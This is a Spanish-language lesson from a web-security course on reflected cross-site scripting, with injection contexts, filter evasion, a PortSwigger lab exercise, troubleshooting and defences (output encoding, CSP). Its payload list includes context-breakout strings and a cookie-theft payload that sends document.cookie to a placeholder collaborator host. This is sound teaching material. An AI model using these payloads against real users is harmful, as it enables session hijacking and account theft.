Parte: 4 — Seguridad de aplicaciones web · Fuente: The Web Application Hacker's Handbook (Stuttard & Pinto) ⏱️ Duración estimada: 110 min · Nivel: Intermedio
Comprender y explotar el XSS reflejado: cuando la aplicación devuelve input del usuario en la respuesta sin sanitizar, permitiendo ejecutar JavaScript en el navegador de la víctima. Es la puerta de entrada al mundo XSS y a los ataques del lado cliente.
⚠️ Ética: solo en labs propios (DVWA, Juice Shop, PortSwigger). Ejecutar XSS contra usuarios reales sin permiso es ilegal.
Al finalizar, el alumno podrá:
| # | Tema | Por qué importa |
|---|---|---|
| 1 | Qué es XSS y sus tipos | Base conceptual |
| 2 | Flujo del reflejado | Cómo llega al navegador víctima |
| 3 | Contextos de inyección | El payload depende del contexto |
| 4 | Escape de atributos y JS | Salir del contexto para inyectar |
| 5 | Impacto: robo de sesión | Traducir XSS a daño real |
| 6 | Filtros y su evasión | Realidad de las apps modernas |
| 7 | Defensa: output encoding, CSP | Cierre del fallo |
⚠️ Solo en labs propios.
<script>alert(document.domain)</script>.<script>, prueba manejadores de evento: <img src=x onerror=alert(1)>." onmouseover="alert(1).<script>, rompe la cadena: ';alert(1)//.<script>new Image().src='//tu-collab/?c='+document.cookie</script>.script (mayúsculas, anidado, eventos).Resuelve un lab de XSS reflejado de PortSwigger que requiera escapar de un contexto (atributo o script) y ejecutar alert(document.cookie).
Criterio de aceptación: el lab queda marcado como resuelto, y explicas el contexto de inyección, el payload y qué codificación de salida lo habría prevenido.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
| El payload aparece como texto | Está siendo codificado; busca otro contexto o sink |
<script> no ejecuta |
CSP o filtro; usa manejadores de evento |
| alert no salta pero el HTML cambia | Contexto de atributo; cierra la comilla primero |
| Funciona en Burp pero no en el navegador | El navegador codifica la URL; ajusta encoding |
| Cookie no se roba | HttpOnly activo; demuestra impacto de otra forma |
❓ ¿XSS reflejado necesita interacción de la víctima? Sí: la víctima debe abrir el enlace malicioso. Por eso suele combinarse con phishing.
❓ ¿La codificación de entrada o de salida? De salida, según el contexto donde se escribe. La codificación de entrada es útil pero insuficiente por sí sola.
❓ ¿CSP elimina el XSS? No lo elimina, lo mitiga: aunque el bug exista, una buena CSP puede impedir que el script se ejecute.
Clase 095 — Inyección de comandos del sistema operativo